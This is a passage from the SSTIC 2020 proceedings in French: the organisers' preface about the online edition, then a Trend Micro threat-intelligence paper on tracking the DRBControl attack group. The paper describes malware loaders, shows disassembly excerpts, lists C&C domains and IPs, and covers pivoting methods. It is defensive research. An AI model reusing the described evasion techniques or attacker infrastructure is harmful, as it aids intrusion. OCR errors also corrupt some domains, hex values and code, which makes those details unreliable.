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Préface

Ah, le printemps, symbole du retour a la vie, du renouveau, des beaux
jours, une nouvelle saison qui amene bien siir son lot de traditions :

— la chasse aux ceufs;

— le percage des fiits de la biére de mars;

— la publication du challenge SSTIC;

— le stress de 'ouverture de la billetterie.

Mais cette année, le programme des réjouissances a été quelque peu
modifié : si la descente de fiits s’est bien passée, si le challenge avancait
comme sur des rails grace a des concepteurs acharnés, le stress lié a la billet-
terie a été supplanté par une question inédite et bien plus préoccupante :
avec le COVID-19, SSTIC pourra-t-il avoir lieu ?

Malheureusement, aprés quelques semaines de suivi de la situation et
de discussions, il est apparu que maintenir une édition physique serait
probablement impossible et de toutes manieres irresponsable. L’idée de
devoir rester confinés a 800, méme dans un lieu aussi approprié qu'un
couvent, ne semblait déclencher qu’un enthousiasme tres modéré.

Néanmoins, 1’objectif de SSTIC reste la diffusion des travaux des
auteurs et il nous semblait donc impensable de ne pas proposer une
édition entierement en ligne. Et dans la continuité de la diffusion du
streaming en direct depuis 2014, nous avons donc décidé de diffuser les
conférences sur Internet.

Evidemment, bien que les présentations constituent l'ossature du
SSTIC, il ne se limite pas a celles-ci et rien ne pourra remplacer les
échanges en personne autour d’une boisson lors du social event ou les
applaudissements pendant les rumps, sans parler des nuits plus ou moins
longues entre la rue de la soif et le Cactus.

Par ailleurs, absence de billetterie signifie absence de revenus. Mais
heureusement, grace aux annulations de prestations, aux fournisseurs
compréhensifs mais surtout grace a la gestion avisée de nos chers anciens
et anciennes, cette année n’aura pas d’impact financier majeur. Quoi qu’il
en soit, la gratuité de I'acces au streaming était une évidence.

Enfin, le comité d’organisation tient & remercier sincérement les auteurs,
les invités et le comité de programme, qui ont répondu présent malgré les
circonstances exceptionnelles.

Nous espérons que cette édition tres particuliere vous satisfera malgré
tout et ne doutons pas que vous serez nombreux ’année prochaine a vous



ruer sur la billetterie pour nous faire renouer avec la tradition du stress
de 'ouverture de la vente.

Bon symposium,
Raphaél Rigo, pour le comité d’organisation.
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Pivoter tel Bernard, ou comment monitorer des
attaquants négligents

Daniel Lunghi
daniel_lunghi@trendmicro.com

Trend Micro

Résumé. Dans ce papier, nous allons présenter une investigation com-
plete et sur le long terme d’'un groupe d’attaquants ayant effectué des
attaques ciblées.

L’idée est de montrer les différentes étapes qui ont amené a la publication
d’un rapport complet sur une opération donnée.

L’investigation commence par ’analyse de souches malveillantes, ce qui
permet d’en tirer des informations et des indicateurs qui pourront étre
exploités, via différentes méthodes qui sont expliquées dans le papier,
pour obtenir des informations supplémentaires.

A Tarrivée, on obtient la liste des familles de malwares utilisées, une
cartographie partielle de l'infrastructure de ’attaquant, une liste de
victimes ainsi que de certains outils de post-exploitation.

Cette investigation s’appuie sur un cas réel, dont les résultats ont été
publiés sur le blog de Trend Micro [7,8].

1 DRBControl, un groupe qui aime les paris

Cette étude porte sur un groupe qui cible des entreprises de paris et
de jeux en ligne en Asie du Sud-Est que nous avons analysé avec trois
collegues de Trend Micro. Les premieres attaques identifiées datent de
juillet 2019, et les plus récentes ont été constatées en mars 2020. Pour
information, un papier [8] analysant une des campagnes de ce groupe a
été publiée sur le blog [7] de Trend Micro. Cependant, l’article en question
ne s’attarde pas sur la méthodologie utilisée pour obtenir les données
présentées, et en ce sens, il ne fait pas doublon avec cet article.

Le point de départ de cette investigation a été une proposition de
collaboration de I’entreprise Talent-Jump Technologies [19] suite a une
mission de réponse a incident qu’elle a effectuée au sein d’une entreprise
philippine de pari en ligne.

2 Analyse des souches

L’investigation a commencé en juillet 2019. Nous avons regu entre 15
et 20 souches sur une période d’un mois, au fur et a mesure des trouvailles
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de I’équipe de réponse a incidents, puis encore deux souches début octobre
2019.

La premiere étape a été d’analyser les souches a ’aide de notre outil
de rétro-ingénierie préféré. Les objectifs d’une telle analyse, au-dela de
déterminer les fonctionnalités du malware, sont principalement de récu-
pérer 'adresse du ou des serveurs de contrdle, puis de déterminer s’il
s’agit d’une famille de malware connue. Dans le cas idéal, on tombe sur
une famille de malware qui n’est utilisée que par un groupe d’attaquants,
ce qui simplifie I'attribution, et permet d’emblée de s’appuyer sur les
investigations précédentes. Dans notre cas, nous avons pu diviser nos
souches en 4 familles :

— Type 1 : 11 souches

— Type 2 : 3 souches

— Type 3 : 5 souches

— HyperBro : 1 souche, arrivée en octobre

Les familles de type 1 a 3 nous étaient inconnues, et la seule famille
que nous avons pu identifier, HyperBro, n’est arrivée que début octobre.
Nous reviendrons dessus ultérieurement. Concernant le type 3, 'analyse
montrera que sa seule fonction est de charger du code depuis Dropbox.
Nous y reviendrons ultérieurement.

Nous allons nous attarder un peu sur le type 1, mais la démarche a
été similaire pour le type 2.

Le malware utilise 3 fichiers pour son chargement :

— un premier exécutable légitime et signé par Microsoft, vulnérable

a une attaque de DLL Side-Loading [2]

— une DLL malveillante, nommée mpsve.dll, chargée par le binaire

légitime ci-dessus

— un fichier binaire contenant le code final du malware, mais obfusqué

et compressé

La DLL malveillante se charge de décompresser et décoder le fichier
binaire puis de le charger en mémoire en langant un binaire légitime en
mode suspendu, puis en remplacant en mémoire le code a exécuter par
le code malveillant, avant de reprendre 1’exécution du binaire (méthode
appelée « process hollowing » [4]). Ces méthodes sont connues et ont
pour but d’évader les solutions de sécurité. Pour obtenir une version
« unpackée », il suffit de placer un point d’arrét apres que le malware ait
été déchiffré et décompressé en mémoire.

Le malware est écrit en C++ et articulé de fagon modulaire. On
constate que les informations RTTI sont présentes, et on peut donc en
extraire le nom des classes. Il existe une classe « CHPPlugin » virtuelle pour
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les greffons ajoutant des fonctionnalités, et une classe virtuelle « CHPNet »
implémentée par toutes les classes relatives aux communications réseaux
(par exemple « CHPHttp », « CHPTcp » ou « CHPUdp »).

Les noms de classes des greffons sont assez explicites, et corres-
pondent aux fonctionnalités d’'un RAT classique, avec notamment toutes
les capacités attendues d’une application d’espionnage : récupération des
frappes clavier (« CHPKeyLog »), capture vidéo du contenu de 1’écran
(« CHPAvi »), capture d’écran (« CHPScreen »), exécution de commande
distante (« CHPCmd ») .. ..

L’analyse montre également un numéro de version, ce qui permet de
voir qu’une des souches a pour version « 1.0 », tandis que les autres sont
de version « 8.0 ». Parmi les deux souches regues en octobre, I'une d’entre
elle est un malware de type 1 et a pour version 9.0. Si 'on en croit les
dates de compilation, la version 1.0 a été compilée en mai 2019, la version
8.0 en juillet, et la version 9.0 en octobre, ce qui donne une idée de la
vitesse de développement de I'attaquant. Les différences entre versions
sortent du cadre de cet article, mais les fonctionnalités restent globalement
les mémes.

On note aussi un algorithme de substitution utilisant une table fixe de
256 octets pour obfusquer les données envoyées au C&C, que 1'on retrouve
sur I'image 1, et enfin une communication systématique vers le nom de
domaine légitime api.dropbox.com.

A Tissue de I'analyse, on obtient le tableau 1

Famille de malware C&C

Type 1 download.safedog.co
safe.mircosofdevice.com
office.support.googldevice.com

45.77.41.49
35.220.232.71 (souche regue en octobre)
Type 2 update.mircosoftdefender.com
store.microsoftbetastore.com
Type 3 api.dropbox.com
HyperBro 35.220.135.85 (souche regue en octobre)

Tableau 1. Liste des différents C&C apres analyse des souches initiales

On constate donc que plusieurs souches utilisent le méme C&C, et que
celui-ci est parfois un nom de domaine, parfois une IP.
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xor 2CH, eCx
cmp [esptarg_4], ecx
jle short loc_18@8829BD

shl esi, 8

il e =

loc_l@ea29A3:

mov eax, [esp+d+arg 8]

add eaX, ECX

movzx  edx, byte ptr [eax]

mov dl, substituteTable[edx+esi]

inc ecx

cmp ecx, [esp+it+arg_4]

mov [eax], dl

jl short loc_leea2sa3
I —— |

‘.
[l e =]
pop esi

loc_18@829BD:
xor eax, eax
retn

Fig. 1. Algorithme utilisé pour obfusquer les données envoyées au C&C

3 Pivots sur le code

Une fois cette premiere étape d’analyse terminée, nous allons nous
intéresser a plusieurs méthodes qui nous ont permis ou non de trouver de
nouvelles souches malveillantes liées a notre attaquant.

3.1 Recherche de chaines de caractéres ou octets peu courants

Généralement, la recherche la plus simple et rapide a effectuer consiste
a identifier des chaines de caractéres peu courantes, puis a chercher leur
présence dans une base de données de malware. Cette recherche peut
commencer simplement par une requéte sur un moteur de recherche, car
de nombreuses sandbox en ligne stockent toutes les chalnes de caracteres
vues statiquement mais également dynamiquement lors de I'exécution
d’un fichier soumis & leur service. Sinon, on peut utiliser le modificateur
« content » [20] du service VirusTotal, qui va retourner tous les fichiers
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correspondants au(x) motif(s) recherchés. L’approche est un peu similaire
a « binacle » [10], présenté au SSTIC 2017. Pour des chaines de caractéres,
cela s’avere largement suffisant, cependant on est limité des lors que I'on
souhaite exprimer des conditions par exemple.

Dans ce cas, on peut utiliser Yara,! qui dispose d’une grammaire
beaucoup plus riche. Plusieurs services en ligne, ainsi que nos bases de
données internes, sont compatibles avec cet outil. Cela veut dire qu'une fois
que l'on a rédigé une regle, on peut I'ajouter a nos regles de « hunting ».
Le principe de ces régles est qu’un email nous est envoyé dés qu’'un fichier
correspondant & la régle est envoyé sur une de nos sources de fichiers (base
de données interne, VirusTotal . ..).

Seulement, ces alertes ne portent que sur les fichiers qui seront analysés
ou envoyés dans le futur. Si I’on souhaite chercher dans les fichiers passés,
on peut alors utiliser les fonctionnalités de RetroHunt [21] de VirusTotal,
qui vont permettre de chercher une regle Yara sur tous les fichiers envoyés
ou analysés sur les trois derniers mois.

Dans le cas présent, les recherches sur des chaines de caractéres peu
courantes, par exemple sur le nom de classe « CHPKeylog », n’ont rien
donné. Ce n’est pas surprenant, puisque ces chaines n’apparaissent qu’une
fois le malware chargé en mémoire par les différents fichiers présentés en
premiere partie.

3.2 Table fixe de substitution

Précédemment, nous avons identifié 'utilisation d’un algorithme de
substitution de 256 octets pour obfusquer les données envoyées au C&C.
Nous avons écrit une regle Yara contenant ces 256 octets, et nous ’avons
ajouté a nos regles de « hunting », et nous avons également effectué un
RetroHunt.

Apres quelques heures, nous avons obtenu une liste de fichiers contenant
la méme table de substitution. Leur analyse a montré qu’il s’agissait bien
de malwares de type 1, de version 4.0.

Nous avons pu ajouter deux C&C a notre liste :

— test66.shopingchina.net

— update.google.com.updatesrvers.org

Aprés quelques semaines, nous avons eu une alerte. En analysant le
code, nous avons reconnu les mémes classes C++ que celles vues dans
notre malware initial, ce qui a confirmé le lien entre les deux malwares.
Cependant, 1'objectif de ce malware-ci est de faire de la redirection de

1. https://virustotal.github.io/yara/
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trafic HTTP ou UDP d’un port en écoute vers une adresse IP et un port
distant. On peut donc ajouter cet outil a I’arsenal de 'attaquant.

Un point important a noter : lors de ’analyse de cet algorithme, nous
avons pensé que bien qu’il soit peu complexe (une simple substitution), il
était tres peu probable que ’on retrouve la méme suite de 256 octets, dans
le méme ordre, par hasard. Cette impression s’est retrouvée confirmée par
le faible nombre d’alertes (9 sur 6 mois) et la correspondance systématique
apres analyse des fichiers concernés avec notre investigation. Nous en
avons déduit un marqueur fort de notre groupe d’attaquants.

Et pourtant. .. le 23 mars, bien apres la soumission de cet article et
la publication de notre blog, nous avons re¢u une alerte qui s’est avérée
étre un faux-positif. Un fichier compilé le 29 mars 2015 et apparemment
relatif a un serveur anti-triche contenait les fameux 256 octets, dans le
bon ordre. Pourtant, ce fichier n’avait absolument rien a voir avec notre
attaquant, en tout cas le code n’y ressemblait pas du tout. En poussant
un peu les recherches, nous sommes tombés sur une question posée le 27
février 2015 sur CodeProject.com [1], dont on voit un extrait ci-dessous
dans I'image 2.

Packet encryption/decryption function

See more: C++ Rate this:

Good day to you all!

| have a quick question for the pro-coders around here:

| have a function to encrypt/decrypt my packets in my online game using defined keys.4
Here are the keys, generated random:

BYTE server_keys[2][256] = {
BxFC, @x77, ©xAl, ©x85, ©x1F, 0x38, Ox51, ©x20, ©x93, Ox4A, OxE3, Ox10,
OxBE, ©x32, Bx58,
0x64, Bx36, Ox8C, Ox19, OxFO, ©x61, OxE®, OxDF, @x9E, Ox9F, ©x90, BxDO,

@x05, OxFA, BOxEB,
0x3D, 0x4B, @xAS5, 0xF1, ©x72, Ox73, 0xD4, OxB5, 0x70, @xD7, OxCD, Ox9A,

Fig. 2. Extrait de code trouvé sur Code Project

Nous en déduisons que notre attaquant a utilisé Google pour « coder »
plus rapidement son algorithme de chiffrement réseau. Etant donné le
faible nombre d’alertes que cette régle nous a remonté, et le nombre encore
plus faible de faux-positifs (1 sur 9), le marqueur n’est pas mauvais pour
autant. Mais c¢’est un bon rappel que les attaquants piquent souvent des
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bouts de code a droite a gauche, et qu’il faut plus qu’une suite d’octets
ou un algorithme pour une attribution correcte.

3.3 Utilisation des métadonnées

Une autre possibilité pour trouver du code relatif & un attaquant donné
est d’utiliser les métadonnées des fichiers ou de documents. Nous allons
en voir deux exemples ici.

Lorsqu’il s’agit d’un fichier exécutable au format PE, ces métadonnées
peuvent étre directement récupérable dans le fichier, comme les informa-
tions qui sont définies dans la ressource VERSIONINFO [16], telles que
le nom du fichier, sa description, ou encore sa version. Parfois, ces méta-
données sont utilisées indirectement, comme le fameux « imphash » [14],
qui calcule un condensat a partir de la table des imports d’un fichier
exécutable.

Dans le cadre de cette investigation, nous nous sommes intéressés a la
seule souche type 1 & notre disposition ayant pour version 1.0. Le champ
« Internal Name » de cette souche est « HaoZipUpdate », qui s’avere étre
un gestionnaire de compression populaire en Asie. Une analyse du code
a montré qu’il s’agissait d’un binaire légitime, dont quelques octets ont
été patchés manuellement pour rediriger le flot d’exécution vers du code
ajouté au milieu du fichier, comme on le voit dans les images 3 et 4.

Ce code se contente de résoudre quelques pointeurs de fonctions, puis
il alloue une zone mémoire, et y recopie du code qui a été concaténé cette
fois tout a la fin du fichier (ce qu’on appelle « l'overlay »), juste avant de
rediriger le flot d’exécution vers cette zone mémoire. L’instruction utilisée
pour cette derniere recopie est un ReadFile auquel on passe en argument
I'offset a partir duquel on trouve ’overlay. Ceci se traduit par I'instruction
« PUSH 15D08h », soit en assembleur x86 « 68 08 5D 01 00 ».

Revenons & nos métadonnées. Si I’on cherche? sur VirusTotal tous
les fichiers non-signés, ayant pour nom « HaoZipUpdate », et ayant du
code dans l'overlay, on obtient moins de 10 fichiers. On pourrait analyser
manuellement ces 10 fichiers, mais une simple recherche binaire des octets
« 68 08 5D 01 00 » dans ces fichiers nous renvoie un seul résultat.

Une analyse de ce fichier montre qu’il s’agit d’une version encore
antérieure a la 1.0, avec des noms de classes similaire au type 1. Cette
version n’a que tres peu de greffons, et méme pas de numéro de version.
Elle date également de mai 2019.

2. name :"HaoZipUpdate" tag :"overlay"' NOT tag :"signed"
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loc_483AF7: ; CODE XREF: sub_4@83ABE+371]
56 push esi
8B 35 20 D@ 49 @e mov esi, ds:LoadlibraryA
57 push edi
68 64 ED 4@ @8 push offset aComctl32D11 ; "COMCTL32.DLL"
(7 45 BC @8 @@ 60 @0 mow [ebp+7D@h+var_814], &
C7 45 (@ FF @@ 00 00 mov [ebp+7D8h+var_sle], @FFh
FF D& call esi ; LeadlLibraryA
8B 3D 6@ D@ 48 88 mowv edi, ds:GetProcAddress
68 74 ED 4@ @8 push offset aInitcommoncont ; "InitCommonControlsEx”
se push eax 3 hModule
80 45 (8 mov [ebp+7D@h+var_8628], eax
FF D7 call edi ; GetProcAddress
3B C3 cmp eax, ebx
74 @6 jz short loc_4@3B2F
80 4D BC lea ecx, [ebpt7D8h+var_814]
51 push ecx
FF D@ call eax
loc_483B2F: 3 CODE XREF: sub_483ABG+711j
68 BC ED 4@ @8 push offset alser32Dll ; "User3z.dll”
FF D6 call esi ; LoadlLibraryA
68 98 ED 4@ @8 push offset aMessageboxw ; "MessageBowl”
5@ push eax 3 hModule
89 45 4 mov [ebp+7D@h+hLibModule], eax
FF D7 call edi ; GetProcAddress
Fig. 3. Version originale du fichier HaoZipUpdate
loc_483AF7: ; CODE XREF: sub_483ABG6+371j
56 push esi
8B 35 20 D@ 40 80 mov esi, ds:LoadLibraryA
57 push edi
68 64 ED 48 @@ push offset akernel32Dll_@ ; "kerneL32.DLL"
C7 45 BC 88 00 00 80 mov [ebp+7D0h+var_814], &
C7 45 C@ FF @@ 0@ 80 mov [ebp+7D@h+var_sia], @FFh
FF D& call esi ; LoadLibraryA
86 3D 608 DO 48 88 mav edi, ds:GetProcAddress
57 push edi
98 nap
98 nap
98 nap
98 nap
58 push eax
89 45 (3 mov [ebp+7DBh+var_B@8], eax
EB 18 BD @@ oe call resclvFunctions_LoadShellcode
98 nop
8D 4D BC lea ecx, [ebp+7D@h+var_814]
51 push ecx
FF D@ call eax
68 BC ED 48 B8 push offset alUser32011 ; "User32.d11"
FF D& call esi ; LoadLibraryA
68 98 ED 4@ 08 push offset aMessageboxw ; "MessageBoxW"
5@ push eax 3 hModule
89 45 C4 mov [ebp+7D@h+hLibModule], eax
FF D7 call edi ; GetProcAddress

Fig. 4. Version modifiée du fichier HaoZipUpdate
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Une fois ce nouveau binaire trouvé, nous cherchons des bouts de
code entiers de celui-ci via le modificateur « content » de VirusTotal, et
finissons par trouver un document Word malveillant embarquant le fichier
tel quel dans un objet OLE. Les métadonnées de ce document n’ont pas
été enlevées, et le nom d’auteur est tres spécifique : « Dell 20170514745 ».

En cherchant d’autres documents avec le méme auteur, on en trouve 3
autres, également malveillants, qui nous serviront a trouver des cibles en
les cherchant dans notre télémétrie.

4 Pivots sur ’infrastructure

Un autre moyen de trouver d’autres indicateurs et d’en savoir plus sur
notre attaquant est de s’intéresser a son infrastructure. Plusieurs méthodes
d’investigations existent, qui permettent généralement d’obtenir d’autres
noms de domaines et adresses IP liées, qui eux-mémes pourront amener a la
découverte d’autres souches malveillantes, pour lesquelles on recommence
les étapes précédentes. Cette partie se propose donc d’énumérer quelques
méthodes que nous avons utilisées, avec succés ou non, pour récupérer un
maximum de C&C liés a notre attaquant.

4.1 Passive DNS

La premiere méthode courante qui est utilisée est le passive DNS.
Certains services tels PassiveTotal® ou DNSDB* stockent toutes les
associations « nom de domaine — adresse IP » qu’ils ont pu observer.
Généralement, ces services disposent d’accords avec des serveurs DNS
d’opérateurs, ou gerent leurs propres infrastructures DNS.

La conséquence est qu’on obtient un historique des adresses IP associées
a un nom de domaine (avec ou sans ses sous-domaines), et pour chaque
adresse IP, on peut obtenir tous les noms de domaines que le service de
passive DNS a vu pointer vers cette IP.

L’intérét de telles bases de données est que certains attaquants réuti-
lisent certains serveurs pour des campagnes d’attaques différentes. Parfois,
on arrive donc a obtenir de nouveaux C&C que 'on pourra lier a notre
attaquant, et qui pourront eux-mémes étre utilisés pour chercher d’autres
souches malveillantes, ou d’autres machines compromises dans le cas d’une
réponse a incident.

3. https://community.riskiq.com/
4. https://wuw.farsightsecurity.com/dnsdb-community-edition/


https://community.riskiq.com/
https://www.farsightsecurity.com/dnsdb-community-edition/
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1l faut toutefois étre vigilant a ce que ces autres noms de domaines ou
IP soient utilisés dans le méme intervalle de temps, car rien n’interdit a
deux groupes distincts d’utiliser un méme serveur alors qu’ils n’ont aucun
lien. Certains hébergeurs étant peu regardants sur l'utilisation qui est faite
de leurs services, ils peuvent devenir un nid a APT, et on ne pourra alors
effectuer aucune corrélation utile. De méme, cette méthode a bien sir ses
limites dans le cas de serveurs partagés, puisque plusieurs domaines qui
n’ont rien a voir vont pointer vers la méme IP au méme moment.

Prenons un exemple pour illustrer cette méthode. Dans ’étape précé-
dente, nous avons identifié que le domaine update.mircosoftdefender.
com est utilisé comme C&C par notre attaquant.

L’image 5 montre 'historique des adresses IP pointées par ce domaine
dans PassiveTotal.

Resolve Location Network ASN First Last

45.32.13.143 I® 45.32.8.0/21 20473 2020-03-31 2020-04-21

43.228.126.172 5G 43.228.126.0/24 133905 2019-07-19 2020-03-20

Fig. 5. Historique des adresses IP du domaine update.mircosoftdefender.com

On voit que I'IP 43.228.126.172 a été utilisée depuis juillet 2019, période
a laquelle a été identifiée la premiere attaque.
L’image 6 montre tous les domaines qui ont été vus pointant vers cette
IP.
On s’intéresse aux noms de domaines utilisés en méme temps que notre
C&C, c’est-a-dire tous les domaines entre juillet 2019 et mars 2020.
On envisage les domaines update .microsoftdnsdown.com et support.
microsoftdnsdown.com comme des candidats potentiels.
Plusieurs choses nous font pencher vers I'idée que ces domaines appar-
tiennent a notre attaquant :
— Ils utilisent tous les deux la marque « Microsoft » (avec ou sans
faute) dans le nom de domaine;
— s utilisent tous deux « update » comme sous-domaine ;
— Une des souches malveillantes avait pour C&C le domaine safe.
mircosofdevice.com. On retrouve ici le méme sous-domaine
« safe » ;
— 1ls ont tous le méme Registrar (GoDaddy) et NameServer (Domain-
Control.com). Cette combinaison est extrémement courante, mais
il est tout de méme intéressant de le noter
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Resolve First Last

update.microsoftdnsdown.com 2019-11-17 2020-03-31

support.microsoftdnsdo 2019-10-21 2020-03-31
update mircosoftdefender.com 20190719 2020-03-20
rollbackup.us 20180522 20190427
photon-sg-1.sakay.ph 2018-06-04 2018-10-06
owenysoo.cf 20180417 20180702
server bego-meroty.ga 2018-06-01 2018-06-01
accept-idc638a898fdd25b31ae5d1d38e.us 20180518 20180523
client-idc638a898fdd25b31ae5d1d38e.us 20180518 20180523
customer-idc638a898fdd25h31ae5d 1d38e.us 20180518 2018-05-23
appleid.apple.com.acceptidc638a898fdd25b31aesd1d38e.us 20180519 20180519
www.accept-idc638a898fdd25b31ae5d 1d38e.us 20180519 20180519
support-midden-team ga 20180417 20180504

1-130f13 v

Fig. 6. Historique des noms de domaines associés a l’adresse IP 43.228.126.172

Le plus pertinent aurait été de trouver un malware appartenant a une
des familles analysées précédemment et ayant ces domaines comme C&C,
mais cette recherche s’est malheureusement révélée infructueuse.

Au passage, nous avons constaté que l'attaquant attribue une adresse
IP a ses sous-domaines uniquement : update.mircosoftdefender.com a
pointé vers une adresse IP pertinente, alors que mircosoftdefender.com
a toujours pointé vers les IP par défaut de GoDaddy. Cela contourne
les services de passive DNS qui se contentent de résoudre ’adresse IP
des noms de domaines dont ils récupeérent les listes aupres d’organismes
officiels tels 'AFNIC.

4.2 Corrélations d’infrastructure

Certains services tels Censys,> Shodan® ou Onyphe 7 (cocorico!) par-
courent quotidiennement un grand nombre d’adresses IP en se connectant
sur les ports « connus », et stockent dans leur base de données beaucoup
de métadonnées, telles que les versions d’un serveur web, les certificats
vus, les en-tétes HT'TP retournées par un serveur web, etc. Il est parfois
possible de se servir de ces informations pour effectuer des pivots et trouver
de nouveaux C&C liés & un groupe d’attaquant.

Par exemple, si 'on identifie un certificat TLS lié a notre groupe
d’attaquant, on peut requéter ces services pour obtenir une liste d’adresses

5. https://censys.io/
6. https://wuw.shodan.io/
7. https://www.onyphe.io/
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https://www.shodan.io/
https://www.onyphe.io/
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IP sur lesquelles ce certificat a été vu, et ainsi enrichir notre liste d’indica-
teurs. Dans le cas de cette investigation, cette méthode n’a pas permis
d’obtenir de nouvelles IP, mais il nous semble important de la citer car
elle fonctionne dans de nombreux cas.

Nous avons constaté qu’en fin d’année 2019, 'attaquant a déplacé
son infrastructure vers des IP hébergées chez Google Cloud. En filtrant
sur les plages IP de cet hébergeur ainsi que sur certaines caractéristiques
simples présentes dans les en-tétes HTTP, il a été possible de trouver de
nouveaux C&C. Ces caractéristiques étaient par exemple le serveur web
utilisé, sa version, ou encore la taille des données renvoyées. Nous avons
ainsi pu ajouter 3 adresses IP de C&C qui présentaient des caractéristiques
similaires.

De plus, cette étape a été cruciale car elle nous a permis de relier
deux C&C de malwares de familles différentes. Pour rappel, en octobre
2019, nous avons recu une nouvelle souche HyperBro, ainsi qu’une souche
de type 1 de version 9.0. Ces deux malwares avaient été trouvés sur une
méme machine, cependant, 'analyse forensics n’a pas permis de trouver de
lien direct entre ces deux malwares. Concretement, nous n’étions pas siir
que les malwares étaient liés, étant donné qu’ils pouvaient tres bien étre
le fruit de deux attaques de groupes différents, sans corrélation aucune.
C’est donc l'analyse de l'infrastructure qui nous a permis de confirmer
qu’'un seul et méme attaquant était derriére les deux infrastructures.

Au-dela de cette confirmation, cela nous a apporté un premier lien
avec un groupe « connu ». En effet, a notre connaissance, le malware
HyperBro est utilisé par un seul groupe, nommé Emissary Panda, Iron
Tiger, LuckyMouse ou APT27 [3].

4.3 Enregistrement des noms de domaine

Certains services tels DomainTools® stockent 1’historique de tous les
enregistrements Whois vus sur la quasi-totalité des noms de domaines
enregistrés, & part quelques TLD? peu connus ou réticents & donner
ces infos. Ces registres contiennent des informations qui peuvent étre
utilisées pour effectuer des corrélations. Par exemple, si attaquant utilise
la méme adresse email pour enregistrer différents noms de domaine, il sera
possible a 'aide de cette base de récupérer tous les noms de domaines
enregistrés avec cette adresse. Cependant, cela est de moins en moins
vrai, car au-dela des attaquants qui utilisent des services d’anonymisation

8. http://whois.domaintools.com/
9. https://fr.wikipedia.org/wiki/Domaine_de_premier_niveau


http://whois.domaintools.com/
https://fr.wikipedia.org/wiki/Domaine_de_premier_niveau
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lors de lenregistrement du nom de domaine, la loi GDPR entrée en
vigueur en mai 2018 a entrainé le masquage de cette information dans les
enregistrements Whois.

Pour autant, il reste des choses & faire. Par exemple, on peut toujours
utiliser 'adresse email qui se trouve dans I'enregistrement DNS SOA 10
pour la corréler avec d’autres noms de domaine.

Parfois, certains attaquants enregistrent plusieurs noms de domaine
en une fois, sur le méme registrar, avec le méme service d’anonymisation.
La conséquence est que la date de création de tous ces domaines est tres
proche (quelques secondes d’écart). Une fois que 1'on trouve un nom de
domaine d’un tel attaquant, on peut alors récupérer la liste de tous les
noms de domaines qui ont été enregistrés chez le méme registrar a la
méme date, et apres avoir filtré sur ’heure de création, on peut trouver
des noms de domaine liés. Il faut toutefois faire attention car la probabilité
d’un faux positif est élevée! On peut alors se baser sur une nomenclature
commune, un sujet d’intérét pour les victimes et/ou 'attaquant, ou encore
résoudre 'adresse IP liée a un domaine et chercher des corrélations dans
Iinfrastructure.

Cette méthode a fonctionné dans notre cas. Par exemple, dans
I’étape d’analyse des malwares, nous avons identifié le domaine
mircosoftdefender.com comme appartenant a notre attaquant.

Celui-ci a été enregistré aupres de GoDaddy le 2018-08-09 a 08 :40 :27.
Le NameServer associé est Domaincontrol.com, et I'attaquant a utilisé
le service d’anonymisation domainsbyproxy.com. Ce sont tous deux des
services par défaut de GoDaddy. Etant donné la part de marché [9]
importante de ce Registrar, on pourrait penser qu’il y aura trop de résultats.
En effet, d’aprés DomainTools, 7661 domaines ont été enregistrés sur la
seule journée du 2018-08-09.

Cependant, si on filtre les domaines ayant été créés entre 08h40 et 08h41,
il n’en reste plus que 4, a savoir dinohonevice.com et luxespiremag.
com créés a 08 :40 :10, mircosoftdefender.com a 08 :40 :27 et
googleusermessage.com a 08 :40 :28.

Ce dernier nous semble un bon candidat, pour plusieurs raisons :

— 11 a été créé une seconde apres notre C&C;

— Une marque d’entreprise informatique est présente dans le nom de

domaine;

— Seule une adresse IP par défaut de GoDaddy semble avoir été

associée a ce domaine. Cela correspond aux cas vus précédemment,
ou les IP ne sont attribuées qu’aux sous-domaines.

10. https://fr.wikipedia.org/wiki/SOA_Resource_Record


https://fr.wikipedia.org/wiki/SOA_Resource_Record
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Nous ne pourrons malheureusement pas en savoir plus, car aucun
sous-domaine n’a été trouvé. Mais nous notons tout de méme le marqueur,
car il pourrait servir si 'attaquant réutilise ce domaine dans le futur, ou
si un chercheur tombe sur un malware ayant ce domaine comme C&C.

4.4 Sandbox publiques

Plusieurs solutions en ligne permettent d’analyser un exécutable ou
document en sandbox, et fournissent en sortie une trace de ’exécution,
avec notamment les connexions réseaux effectuées. On peut alors utiliser
ces services pour retrouver des souches qui se seraient connectées a un
C&C donné. Etant un éditeur antivirus, nous avons le méme type de base
de données en interne.

En requétant ces bases de données avec tous les C&C récoltés lors
des étapes précédentes, nous avons trouvé d’autres malwares liés a notre
attaquant.

Par exemple, un malware de type 1 avait pour C&C
test66.shopingchina.net. Si I'on cherche ce domaine dans VirusTo-
tal,'! on voit que deux autres sous-domaines sont connus de ce service.
En allant sur chacun '? '3 d’entre eux, on obtient une liste d’exécutables
contactant ces sous-domaines. Nous n’avons pas trouvé d’utilisation
légitime du domaine shopingchina.net, on peut donc raisonnablement
penser qu’il n’est pas compromis, et que c’est donc bien 'attaquant qui le
gere.

Par conséquent, on considére que ces autres malwares sont liés, et on
les ajoute a l’arsenal de notre attaquant.

Par cette méthode, nous avons trouvé quatre familles de malwares
supplémentaires :

— PlugX [15], un malware existant depuis au moins 2008 et utilisé

dans de trées nombreuses attaques ciblées ;

— Trochilus [12], un RAT public, dont des versions modifiées ont

également été vues dans de précédentes attaques ciblées [6,17];

— Un malware codé avec les classes MFC dont nous n’avons pas

identifié la famille;

— Cobalt Strike,'* un framework offensif bien connu des équipes de

Red Team.

11. https://www.virustotal.com/gui/domain/shopingchina.net/relations

12. https://www.virustotal.com/gui/domain/jqb.shopingchina.net/relations
13. https://www.virustotal.com/gui/domain/fn.shopingchina.net/relations
14. https://wuw.cobaltstrike.com/features


https://www.virustotal.com/gui/domain/shopingchina.net/relations
https://www.virustotal.com/gui/domain/jqb.shopingchina.net/relations
https://www.virustotal.com/gui/domain/fn.shopingchina.net/relations
https://www.cobaltstrike.com/features
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Contrairement & HyperBro, ces familles de malwares sont utilisées par
plusieurs groupes différents, et ne permettent donc pas de rapprocher notre
groupe d’attaquants d’un groupe connu. On peut tout au plus remarquer
que plusieurs entreprises attribuent certaines de ces attaques a la Chine.

5 Utilisation de la télémétrie

Arrivés a cette étape, nous disposions des éléments suivants :

— Plusieurs versions de différentes familles de malware, connues et

inconnues ;

— Des documents malveillants liés & un de ces malwares inconnus ;

— De nombreux noms de domaines et adresses IP liés a notre atta-

quant.

II nous manque le vecteur d’acces, qui malheureusement n’a pas été
identifié par I’entreprise effectuant la réponse a incident. Nous ne sommes
pas siirs non plus de la victimologie, étant donné que pour l'instant nous
n’avons connaissance que de la compromission d’une entreprise de paris
en ligne.

En cherchant les documents malveillants identifiés précédemment dans
